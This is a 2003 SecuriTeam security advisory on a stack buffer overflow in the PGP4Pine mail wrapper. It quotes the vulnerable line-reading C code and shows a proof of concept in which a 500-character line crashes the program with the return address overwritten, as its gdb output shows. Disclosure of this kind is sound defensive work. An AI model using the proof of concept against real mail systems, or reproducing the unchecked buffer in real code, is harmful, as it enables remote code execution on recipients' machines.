

[UNIX] PGP4Pine Buffer Overflow Vulnerability

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-03/0042.html>

From: support@securiteam.com

Date: 03/16/03

From: support@securiteam.com

To: list@securiteam.com

Date: 16 Mar 2003 21:31:54 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

In the US?

Contact Beyond Security at our new California office
housewarming rates on automated network vulnerability
scanning. We also welcome ISPs and other resellers!

Please contact us at: 323-882-8286 or ussales@beyondsecurity.com

PGP4Pine Buffer Overflow Vulnerability

SUMMARY

<<http://pgp4pine.flatline.de/>> PGP4Pine is a mail encryption/decryption/signature/verification wrapper to PGP for pine, it is called from pine to parse mail body and get PGP information from the file. A vulnerability in the product allows a remote attacker to send a malicious email that will cause the product to execute arbitrary code.

DETAILS

Vulnerable systems:

- * pgp4pine version 1.76

When installed/configured within pine, PGP4Pine parses all incoming mail before pine will be allowed to open them. PGP4Pine looks for PGP tokens & information to allow decryption and confirmation of the sender's identity.

To verify incoming emails PGP4Pine calls:

```
menus.c: void fileVerifyDecryptMenu(char *inFile,char *outFile);
```

Securiteam: [UNIX] PGP4Pine Buffer Overflow Vulnerability

Which reads each line according to this loop:

```
[...]
char readline[CONSOLE_IO_LINE_LENGTH];
(where defines.h:#define CONSOLE_IO_LINE_LENGTH 256)
[...]
do {
    fertig=0;
    while (!fertig)
    {
        if ((c=getc(fin))==EOF)
        {
            outFile=inFile; /* this usually is not
                               executed, EOF breaks directly */
            return;
        }
        else if ((readline[i++]=c) == '\n')
        {
            readline[i]='\0';
            fertig=1;
        }
    }
    fertig=0;

    if (strcmp("-----BEGIN PGP SIGNED",readline,20)==0)
    {
        /* got signed message */
        fclose(fin);
        while (fileVerify(inFile,outFile) > 0); /* =1: Repeat */
        fertig=1;
    }
    else if (strcmp("-----BEGIN PGP",readline,14)==0)
    {
        /* got another type of PGP message (encrypted, keys ...) */
        fclose(fin);
        fileDecrypt(inFile,outFile);
        waitForReturn();
        fertig=1;
    }
    else
        i=0; /* Got waste line, reset i */
} while (!fertig);
[...]
```

As can be seen in the code, if a single line goes over 256 characters without having an EOF, the program will overwrite the saved environment variables in the stack and return address (this is due to the fact that there is no check on the index 'i' within the readline[] array):

```
[...]
}
else if ((readline[i++]=c) == '\n')
```

Securiteam: [UNIX] PGP4Pine Buffer Overflow Vulnerability

```
{  
[...]
```

You can go over the `CONSOLE_IO_LINE_LENGTH` limit and replace the saved registers before getting to the condition that returns.

```
[...]  
if ((c=getc(fin))==EOF)  
{  
    outFile=inFile; /* this usually is not  
                    executed, EOF breaks directly */  
    return;  
}  
[...]
```

Exploit:

```
rival@bones ~/dev/test/pgp4pine-ex $ echo `perl -e 'print "A"x500` >  
testmail
```

```
rival@bones ~/dev/test/pgp4pine-ex $ ./pgp4pine-vuln -d -i testmail
```

```
[...]
```

Segmentation fault (core dumped)

```
rival@bones ~/dev/test/pgp4pine-ex $ gdb ./pgp4pine-vuln core
```

```
[...]
```

Core was generated by `./pgp4pine-vuln -d -i testmail'.

Program terminated with signal 11, Segmentation fault.

Reading symbols from /lib/libc.so.6...done.

Loaded symbols for /lib/libc.so.6

Reading symbols from /lib/ld-linux.so.2...done.

Loaded symbols for /lib/ld-linux.so.2

#0 0x41414141 in ?? ()

(gdb)

Impact:

Since PGP4Pine process any incoming email, sending special crafted email can make sender execute arbitrary code on the recipient box when the mail is opened.

Workaround/Solutions:

Deactivate PGP4Pine and use another PGP wrapper for pine:

<<http://pgpenvelope.sourceforge.net/>> <http://pgpenvelope.sourceforge.net/>

or <<http://www.megaloman.com/~hany/software/pinepgp/stable.html>>

<http://www.megaloman.com/~hany/software/pinepgp/stable.html>.

ADDITIONAL INFORMATION

The information has been provided by <<mailto:eauge@fr.cw.net>> Eric AUGE.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[UNIX] PGP4Pine Buffer Overflow Vulnerability

Securiteam: [UNIX] PGP4Pine Buffer Overflow Vulnerability

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.